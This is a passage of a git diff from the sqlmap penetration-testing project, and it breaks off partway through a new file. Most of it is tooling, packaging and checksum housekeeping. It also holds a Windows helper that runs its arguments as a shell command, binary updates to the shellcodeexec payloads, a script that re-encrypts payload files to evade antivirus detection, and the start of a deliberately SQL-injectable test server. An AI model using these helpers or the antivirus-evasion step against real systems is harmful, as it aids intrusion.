std; +int main(int argc, char* argv[]) +{ + FILE *fp; + string cmd; + + for( int count = 1; count < argc; count++ ) + cmd += " " + string(argv[count]); + + fp = _popen(cmd.c_str(), "r"); + + if (fp != NULL) { + char buffer[BUFSIZ]; + + while (fgets(buffer, sizeof buffer, fp) != NULL) + fputs(buffer, stdout); + } + + return 0; +} diff --git a/extra/runcmd/src/runcmd/runcmd.vcproj b/extra/runcmd/src/runcmd/runcmd.vcproj index 928c71606b0..157e33863d9 100644 --- a/extra/runcmd/src/runcmd/runcmd.vcproj +++ b/extra/runcmd/src/runcmd/runcmd.vcproj @@ -1,225 +1,225 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/extra/runcmd/src/runcmd/stdafx.cpp b/extra/runcmd/src/runcmd/stdafx.cpp index f5e349538ca..e191a9156a4 100644 --- a/extra/runcmd/src/runcmd/stdafx.cpp +++ b/extra/runcmd/src/runcmd/stdafx.cpp @@ -1,8 +1,8 @@ -// stdafx.cpp : source file that includes just the standard includes -// runcmd.pch will be the pre-compiled header -// stdafx.obj will contain the pre-compiled type information - -#include "stdafx.h" - -// TODO: reference any additional headers you need in STDAFX.H -// and not in this file +// stdafx.cpp : source file that includes just the standard includes +// runcmd.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/extra/runcmd/src/runcmd/stdafx.h b/extra/runcmd/src/runcmd/stdafx.h index bdabbfb48e9..0be0e6ffee0 100644 --- a/extra/runcmd/src/runcmd/stdafx.h +++ b/extra/runcmd/src/runcmd/stdafx.h @@ -1,17 +1,17 @@ -// stdafx.h : include file for standard system include files, -// or project specific include files that are used frequently, but -// are changed infrequently -// - -#pragma once - -#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. -#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. -#endif - -#include -#include - - - -// TODO: reference additional headers your program requires here +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. +#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. +#endif + +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/extra/safe2bin/README.txt b/extra/safe2bin/README.txt deleted file mode 100644 index 06400d6ea98..00000000000 --- a/extra/safe2bin/README.txt +++ /dev/null @@ -1,17 +0,0 @@ -To use safe2bin.py you need to pass it the original file, -and optionally the output file name. - -Example: - -$ python ./safe2bin.py -i output.txt -o output.txt.bin - -This will create an binary decoded file output.txt.bin. For example, -if the content of output.txt is: "\ttest\t\x32\x33\x34\nnewline" it will -be decoded to: " test 234 -newline" - -If you skip the output file name, general rule is that the binary -file names are suffixed with the string '.bin'. So, that means that -the upper example can also be written in the following form: - -$ python ./safe2bin.py -i output.txt diff --git a/extra/shellcodeexec/linux/shellcodeexec.x32_ b/extra/shellcodeexec/linux/shellcodeexec.x32_ index ec62f230397..c0857d971f5 100644 Binary files a/extra/shellcodeexec/linux/shellcodeexec.x32_ and b/extra/shellcodeexec/linux/shellcodeexec.x32_ differ diff --git a/extra/shellcodeexec/linux/shellcodeexec.x64_ b/extra/shellcodeexec/linux/shellcodeexec.x64_ index 10e8fea3d38..13ef7522987 100644 Binary files a/extra/shellcodeexec/linux/shellcodeexec.x64_ and b/extra/shellcodeexec/linux/shellcodeexec.x64_ differ diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ index c4204cce6a9..b55141d1d93 100644 Binary files a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ and b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ differ diff --git a/extra/shutils/autocompletion.sh b/extra/shutils/autocompletion.sh new file mode 100755 index 00000000000..edaccd73b62 --- /dev/null +++ b/extra/shutils/autocompletion.sh @@ -0,0 +1,9 @@ +#/usr/bin/env bash + +# source ./extra/shutils/autocompletion.sh + +DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" +WORDLIST=`python "$DIR/../../sqlmap.py" -hh | grep -Eo '\s\--?\w[^ =,]*' | grep -vF '..' | paste -sd "" -` + +complete -W "$WORDLIST" sqlmap +complete -W "$WORDLIST" ./sqlmap.py diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh index 4edfb86be56..3ba88a266ac 100755 --- a/extra/shutils/blanks.sh +++ b/extra/shutils/blanks.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh new file mode 100755 index 00000000000..c334b972e84 --- /dev/null +++ b/extra/shutils/drei.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# Stress test against Python3(.14) + +for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.14 -m compileall $i | sed 's/Compiling/Checking/g'; done +source `dirname "$0"`"/junk.sh" diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index b5431af4f8b..5de6e357e57 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files @@ -9,21 +9,22 @@ import sys -if len(sys.argv) > 0: - items = list() +if __name__ == "__main__": + if len(sys.argv) > 1: + items = list() - with open(sys.argv[1], 'r') as f: - for item in f.readlines(): - item = item.strip() - try: - str.encode(item) - if item in items: - if item: - print(item) - else: - items.append(item) - except: - pass + with open(sys.argv[1], 'r') as f: + for item in f: + item = item.strip() + try: + str.encode(item) + if item in items: + if item: + print(item) + else: + items.append(item) + except: + pass - with open(sys.argv[1], 'w+') as f: - f.writelines("\n".join(items)) + with open(sys.argv[1], 'w+') as f: + f.writelines("\n".join(items)) diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh new file mode 100755 index 00000000000..544ccf12163 --- /dev/null +++ b/extra/shutils/junk.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null +find . -name "*.pyc" -exec rm -f {} \; &>/dev/null diff --git a/extra/shutils/newlines.py b/extra/shutils/newlines.py index 63a557a1f59..fe28a35ba99 100644 --- a/extra/shutils/newlines.py +++ b/extra/shutils/newlines.py @@ -1,8 +1,5 @@ #! /usr/bin/env python -# Runs pylint on all python scripts found in a directory tree -# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html - from __future__ import print_function import os @@ -11,9 +8,10 @@ def check(filepath): if filepath.endswith(".py"): content = open(filepath, "rb").read() + pattern = "\n\n\n".encode("ascii") - if "\n\n\n" in content: - index = content.find("\n\n\n") + if pattern in content: + index = content.find(pattern) print(filepath, repr(content[index - 30:index + 30])) if __name__ == "__main__": diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index 00804eb4da5..300916ae369 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -12,19 +12,19 @@ chmod +x .git/hooks/pre-commit PROJECT="../../" SETTINGS="../../lib/core/settings.py" -CHECKSUM="../../txt/checksum.md5" +DIGEST="../../data/txt/sha256sums.txt" declare -x SCRIPTPATH="${0}" PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS -CHECKSUM_FULLPATH=${SCRIPTPATH%/*}/$CHECKSUM +DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 if [ -f $SETTINGS_FULLPATH ] then - LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"') + LINE=$(grep -o ${SETTINGS_FULLPATH} -e '^VERSION = "[0-9.]*"') declare -a LINE INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") if [ -n "$INCREMENTED" ] @@ -38,5 +38,5 @@ then git add "$SETTINGS_FULLPATH" fi -truncate -s 0 "$CHECKSUM_FULLPATH" -cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -name "*_" -o -type f -regex "./[^./]*" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done +cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd - +git add "$DIGEST_FULLPATH" diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh index 53acf30f9a2..8b3f0121f0f 100755 --- a/extra/shutils/pycodestyle.sh +++ b/extra/shutils/pycodestyle.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh index dbb0907ea3b..20c62373daf 100755 --- a/extra/shutils/pydiatra.sh +++ b/extra/shutils/pydiatra.sh @@ -1,7 +1,7 @@ #!/bin/bash -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission -# Runs py2diatra on all python files (prerequisite: pip install pydiatra) -find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py2diatra '{}' \; | grep -v bare-except +# Runs py3diatra on all python files (prerequisite: pip install pydiatra) +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py3diatra '{}' \; | grep -v bare-except diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index ac3cfd8c5ef..cbe37a7a0a8 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -1,7 +1,7 @@ #!/bin/bash -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) -find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'" diff --git a/extra/shutils/pylint.py b/extra/shutils/pylint.py deleted file mode 100755 index cec5321b2fb..00000000000 --- a/extra/shutils/pylint.py +++ /dev/null @@ -1,52 +0,0 @@ -#! /usr/bin/env python - -# Runs pylint on all python scripts found in a directory tree -# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html - -from __future__ import print_function - -import os -import re -import sys - -total = 0.0 -count = 0 - -__RATING__ = False - -def check(module): - global total, count - - if module[-3:] == ".py": - - print("CHECKING ", module) - pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r') - for line in pout: - if re.match(r"\AE:", line): - print(line.strip()) - if __RATING__ and "Your code has been rated at" in line: - print(line) - score = re.findall(r"\d.\d\d", line)[0] - total += float(score) - count += 1 - -if __name__ == "__main__": - try: - print(sys.argv) - BASE_DIRECTORY = sys.argv[1] - except IndexError: - print("no directory specified, defaulting to current working directory") - BASE_DIRECTORY = os.getcwd() - - print("looking for *.py scripts in subdirectories of ", BASE_DIRECTORY) - for root, dirs, files in os.walk(BASE_DIRECTORY): - if any(_ in root for _ in ("extra", "thirdparty")): - continue - for name in files: - filepath = os.path.join(root, name) - check(filepath) - - if __RATING__: - print("==" * 50) - print("%d modules found" % count) - print("AVERAGE SCORE = %.02f" % (total / count)) diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 20ecbd75f91..3cdbdf5d714 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -1,4 +1,6 @@ #!/bin/bash +set -euo pipefail +IFS=$'\n\t' if [ ! -f ~/.pypirc ]; then echo "File ~/.pypirc is missing" @@ -9,14 +11,15 @@ declare -x SCRIPTPATH="${0}" SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py" VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3) TYPE=pip -TMP_DIR=/tmp/pypi -mkdir $TMP_DIR -cd $TMP_DIR -cat > $TMP_DIR/setup.py << EOF +TMP_DIR="$(mktemp -d -t pypi.XXXXXXXX)" +cleanup() { rm -rf -- "${TMP_DIR:?}"; } +trap cleanup EXIT +cd "$TMP_DIR" +cat > "$TMP_DIR/setup.py" << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -26,10 +29,11 @@ setup( name='sqlmap', version='$VERSION', description='Automatic SQL injection and database takeover tool', - long_description='sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.', + long_description=open('README.rst').read(), + long_description_content_type='text/x-rst', author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar', author_email='bernardo@sqlmap.org, miroslav@sqlmap.org', - url='http://sqlmap.org', + url='https://sqlmap.org', project_urls={ 'Documentation': 'https://github.com/sqlmapproject/sqlmap/wiki', 'Source': 'https://github.com/sqlmapproject/sqlmap/', @@ -37,7 +41,8 @@ setup( }, download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip', license='GNU General Public License v2 (GPLv2)', - packages=find_packages(), + packages=['sqlmap'], + package_dir={'sqlmap':'sqlmap'}, include_package_data=True, zip_safe=False, # https://pypi.python.org/pypi?%3Aaction=list_classifiers @@ -66,7 +71,7 @@ cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -80,7 +85,7 @@ cat > README.rst << "EOF" sqlmap ====== -|Build Status| |Python 2.6|2.7| |License| |Twitter| +|Python 2.7|3.x| |License| |X| sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over @@ -121,8 +126,8 @@ If you prefer fetching daily updates, you can download sqlmap by cloning the git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap works out of the box with -`Python `__ version **2.6.x** and -**2.7.x** on any platform. +`Python `__ version **2.7** and +**3.x** on any platform. Usage ----- @@ -131,13 +136,13 @@ To get a list of basic options and switches use: :: - python sqlmap.py -h + sqlmap -h To get a list of all options and switches use: :: - python sqlmap.py -hh + sqlmap -hh You can find a sample run `here `__. To get an overview of sqlmap capabilities, list of supported features and @@ -148,7 +153,7 @@ manual `__. Links ----- -- Homepage: http://sqlmap.org +- Homepage: https://sqlmap.org - Download: `.tar.gz `__ or `.zip `__ @@ -158,25 +163,30 @@ Links - User's manual: https://github.com/sqlmapproject/sqlmap/wiki - Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -- Twitter: [@sqlmap](https://twitter.com/sqlmap) +- X: https://x.com/sqlmap - Demos: http://www.youtube.com/user/inquisb/videos - Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots -.. |Build Status| image:: https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master - :target: https://api.travis-ci.org/sqlmapproject/sqlmap -.. |Python 2.6|2.7| image:: https://img.shields.io/badge/python-2.6|2.7-yellow.svg +.. |Python 2.7|3.x| image:: https://img.shields.io/badge/python-2.7|3.x-yellow.svg :target: https://www.python.org/ .. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg :target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE -.. |Twitter| image:: https://img.shields.io/badge/twitter-@sqlmap-blue.svg - :target: https://twitter.com/sqlmap +.. |X| image:: https://img.shields.io/badge/x-@sqlmap-blue.svg + :target: https://x.com/sqlmap .. pandoc --from=markdown --to=rst --output=README.rst sqlmap/README.md .. http://rst.ninjs.org/ EOF sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py -sed -i "s/.*lib\/core\/settings\.py/`md5sum sqlmap/lib/core/settings.py | cut -d ' ' -f 1` lib\/core\/settings\.py/g" sqlmap/txt/checksum.md5 -for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done -python setup.py sdist upload -rm -rf $TMP_DIR +: > MANIFEST.in +while IFS= read -r -d '' file; do + case "$file" in + *.git|*.yml) continue ;; + esac + echo "include $file" >> MANIFEST.in +done < <(find sqlmap -type f -print0) +python setup.py sdist bdist_wheel +twine check dist/* +twine upload --config-file=~/.pypirc dist/* +rm -rf "$TMP_DIR" diff --git a/extra/shutils/recloak.sh b/extra/shutils/recloak.sh new file mode 100755 index 00000000000..557ea51d96f --- /dev/null +++ b/extra/shutils/recloak.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +# NOTE: this script is for dev usage after AV something something + +DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P) + +cd $DIR/../.. +for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done + +cd $DIR/../cloak +sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py + +cd $DIR/../.. +for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done + +git clean -f > /dev/null diff --git a/extra/shutils/regressiontest.py b/extra/shutils/regressiontest.py deleted file mode 100755 index e4e920571b8..00000000000 --- a/extra/shutils/regressiontest.py +++ /dev/null @@ -1,166 +0,0 @@ -#!/usr/bin/env python - -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -# See the file 'LICENSE' for copying permission - -from __future__ import print_function - -import codecs -import inspect -import os -import re -import smtplib -import subprocess -import sys -import time -import traceback - -from email.mime.multipart import MIMEMultipart -from email.mime.text import MIMEText - -sys.path.append(os.path.normpath("%s/../../" % os.path.dirname(inspect.getfile(inspect.currentframe())))) - -from lib.core.revision import getRevisionNumber - -START_TIME = time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime()) -SQLMAP_HOME = "/opt/sqlmap" - -SMTP_SERVER = "127.0.0.1" -SMTP_PORT = 25 -SMTP_TIMEOUT = 30 -FROM = "regressiontest@sqlmap.org" -# TO = "dev@sqlmap.org" -TO = ["bernardo.damele@gmail.com", "miroslav.stampar@gmail.com"] -SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber()) -TARGET = "debian" - -def prepare_email(content): - global FROM - global TO - global SUBJECT - - msg = MIMEMultipart() - msg["Subject"] = SUBJECT - msg["From"] = FROM - msg["To"] = TO if isinstance(TO, basestring) else ','.join(TO) - - msg.attach(MIMEText(content)) - - return msg - -def send_email(msg): - global SMTP_SERVER - global SMTP_PORT - global SMTP_TIMEOUT - - try: - s = smtplib.SMTP(host=SMTP_SERVER, port=SMTP_PORT, timeout=SMTP_TIMEOUT) - s.sendmail(FROM, TO, msg.as_string()) - s.quit() - # Catch all for SMTP exceptions - except smtplib.SMTPException as ex: - print("Failure to send email: '%s" % ex) - -def failure_email(msg): - msg = prepare_email(msg) - send_email(msg) - sys.exit(1) - -def main(): - global SUBJECT - - content = "" - test_counts = [] - attachments = {} - - updateproc = subprocess.Popen("cd /opt/sqlmap/ ; python /opt/sqlmap/sqlmap.py --update", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - stdout, stderr = updateproc.communicate() - - if stderr: - failure_email("Update of sqlmap failed with error:\n\n%s" % stderr) - - regressionproc = subprocess.Popen("python /opt/sqlmap/sqlmap.py --live-test", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False) - stdout, stderr = regressionproc.communicate() - - if stderr: - failure_email("Execution of regression test failed with error:\n\n%s" % stderr) - - failed_tests = re.findall(r"running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout) - - for failed_test in failed_tests: - title = failed_test[0] - test_count = int(failed_test[1]) - parse = failed_test[3] if failed_test[3] else None - output_folder = failed_test[4] - traceback = False if failed_test[5] == "False" else bool(failed_test[5]) - detected = False if failed_test[6] else True - - test_counts.append(test_count) - - console_output_file = os.path.join(output_folder, "console_output") - log_file = os.path.join(output_folder, TARGET, "log") - traceback_file = os.path.join(output_folder, "traceback") - - if os.path.exists(console_output_file): - console_output_fd = codecs.open(console_output_file, "rb", "utf8") - console_output = console_output_fd.read() - console_output_fd.close() - attachments[test_count] = str(console_output) - - if os.path.exists(log_file): - log_fd = codecs.open(log_file, "rb", "utf8") - log = log_fd.read() - log_fd.close() - - if os.path.exists(traceback_file): - traceback_fd = codecs.open(traceback_file, "rb", "utf8") - traceback = traceback_fd.read() - traceback_fd.close() - - content += "Failed test case '%s' (#%d)" % (title, test_count) - - if parse: - content += " at parsing: %s:\n\n" % parse - content += "### Log file:\n\n" - content += "%s\n\n" % log - elif not detected: - content += " - SQL injection not detected\n\n" - else: - content += "\n\n" - - if traceback: - content += "### Traceback:\n\n" - content += "%s\n\n" % str(traceback) - - content += "#######################################################################\n\n" - - end_string = "Regression test finished at %s" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime()) - - if content: - content += end_string - SUBJECT = "Failed %s (%s)" % (SUBJECT, ", ".join("#%d" % count for count in test_counts)) - - msg = prepare_email(content) - - for test_count, attachment in attachments.items(): - attachment = MIMEText(attachment) - attachment.add_header("Content-Disposition", "attachment", filename="test_case_%d_console_output.txt" % test_count) - msg.attach(attachment) - - send_email(msg) - else: - SUBJECT = "Successful %s" % SUBJECT - msg = prepare_email("All test cases were successful\n\n%s" % end_string) - send_email(msg) - -if __name__ == "__main__": - log_fd = open("/tmp/sqlmapregressiontest.log", "wb") - log_fd.write("Regression test started at %s\n" % START_TIME) - - try: - main() - except Exception: - log_fd.write("An exception has occurred:\n%s" % str(traceback.format_exc())) - - log_fd.write("Regression test finished at %s\n\n" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime())) - log_fd.close() diff --git a/extra/shutils/strip.sh b/extra/shutils/strip.sh index b7ac589e2ff..0fa81ef62f9 100755 --- a/extra/shutils/strip.sh +++ b/extra/shutils/strip.sh @@ -4,6 +4,9 @@ # http://www.muppetlabs.com/~breadbox/software/elfkickers.html # https://ptspts.blogspot.hr/2013/12/how-to-make-smaller-c-and-c-binaries.html +# https://github.com/BR903/ELFkickers/tree/master/sstrip +# https://www.ubuntuupdates.org/package/core/cosmic/universe/updates/postgresql-server-dev-10 + # For example: # python ../../../../../extra/cloak/cloak.py -d -i lib_postgresqludf_sys.so_ # ../../../../../extra/shutils/strip.sh lib_postgresqludf_sys.so diff --git a/extra/sqlharvest/__init__.py b/extra/sqlharvest/__init__.py deleted file mode 100644 index c654cbef7f4..00000000000 --- a/extra/sqlharvest/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -pass diff --git a/extra/sqlharvest/sqlharvest.py b/extra/sqlharvest/sqlharvest.py deleted file mode 100644 index 42810fa714c..00000000000 --- a/extra/sqlharvest/sqlharvest.py +++ /dev/null @@ -1,143 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from __future__ import print_function - -import cookielib -import re -import socket -import sys -import urllib -import urllib2 -import ConfigParser - -from operator import itemgetter - -TIMEOUT = 10 -CONFIG_FILE = 'sqlharvest.cfg' -TABLES_FILE = 'tables.txt' -USER_AGENT = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; AskTB5.3)' -SEARCH_URL = 'http://www.google.com/m?source=mobileproducts&dc=gorganic' -MAX_FILE_SIZE = 2 * 1024 * 1024 # if a result (.sql) file for downloading is more than 2MB in size just skip it -QUERY = 'CREATE TABLE ext:sql' -REGEX_URLS = r';u=([^"]+?)&q=' -REGEX_RESULT = r'(?i)CREATE TABLE\s*(/\*.*\*/)?\s*(IF NOT EXISTS)?\s*(?P[^\(;]+)' - -def main(): - tables = dict() - cookies = cookielib.CookieJar() - cookie_processor = urllib2.HTTPCookieProcessor(cookies) - opener = urllib2.build_opener(cookie_processor) - opener.addheaders = [("User-Agent", USER_AGENT)] - - conn = opener.open(SEARCH_URL) - page = conn.read() # set initial cookie values - - config = ConfigParser.ConfigParser() - config.read(CONFIG_FILE) - - if not config.has_section("options"): - config.add_section("options") - if not config.has_option("options", "index"): - config.set("options", "index", "0") - - i = int(config.get("options", "index")) - - try: - with open(TABLES_FILE, 'r') as f: - for line in f.xreadlines(): - if len(line) > 0 and ',' in line: - temp = line.split(',') - tables[temp[0]] = int(temp[1]) - except: - pass - - socket.setdefaulttimeout(TIMEOUT) - - files, old_files = None, None - try: - while True: - abort = False - old_files = files - files = [] - - try: - conn = opener.open("%s&q=%s&start=%d&sa=N" % (SEARCH_URL, QUERY.replace(' ', '+'), i * 10)) - page = conn.read() - for match in re.finditer(REGEX_URLS, page): - files.append(urllib.unquote(match.group(1))) - if len(files) >= 10: - break - abort = (files == old_files) - - except KeyboardInterrupt: - raise - - except Exception as ex: - print(ex) - - if abort: - break - - sys.stdout.write("\n---------------\n") - sys.stdout.write("Result page #%d\n" % (i + 1)) - sys.stdout.write("---------------\n") - - for sqlfile in files: - print(sqlfile) - - try: - req = urllib2.Request(sqlfile) - response = urllib2.urlopen(req) - - if "Content-Length" in response.headers: - if int(response.headers.get("Content-Length")) > MAX_FILE_SIZE: - continue - - page = response.read() - found = False - counter = 0 - - for match in re.finditer(REGEX_RESULT, page): - counter += 1 - table = match.group("result").strip().strip("`\"'").replace('"."', ".").replace("].[", ".").strip('[]') - - if table and not any(_ in table for _ in ('>', '<', '--', ' ')): - found = True - sys.stdout.write('*') - - if table in tables: - tables[table] += 1 - else: - tables[table] = 1 - if found: - sys.stdout.write("\n") - - except KeyboardInterrupt: - raise - - except Exception as ex: - print(ex) - - else: - i += 1 - - except KeyboardInterrupt: - pass - - finally: - with open(TABLES_FILE, 'w+') as f: - tables = sorted(tables.items(), key=itemgetter(1), reverse=True) - for table, count in tables: - f.write("%s,%d\n" % (table, count)) - - config.set("options", "index", str(i + 1)) - with open(CONFIG_FILE, 'w+') as f: - config.write(f) - -if __name__ == "__main__": - main() diff --git a/extra/safe2bin/__init__.py b/extra/vulnserver/__init__.py similarity index 56% rename from extra/safe2bin/__init__.py rename to extra/vulnserver/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/extra/safe2bin/__init__.py +++ b/extra/vulnserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py new file mode 100644 index 00000000000..769108f928d --- /dev/null +++ b/extra/vulnserver/vulnserver.py @@ -0,0 +1,353 @@ +#!/usr/bin/env python + +""" +vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) + +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from __future__ import print_function + +import base64 +import json +import random +import re +import sqlite3 +import string +import sys +import threading +import traceback + +PY3 = sys.version_info >= (3, 0) +UNICODE_ENCODING = "utf-8" +DEBUG = False + +if PY3: + from http.client import INTERNAL_SERVER_ERROR + from http.client import NOT_FOUND + from http.client import OK + from http.server import BaseHTTPRequestHandler + from http.server import HTTPServer + from socketserver import ThreadingMixIn + from urllib.parse import parse_qs + from urllib.parse import 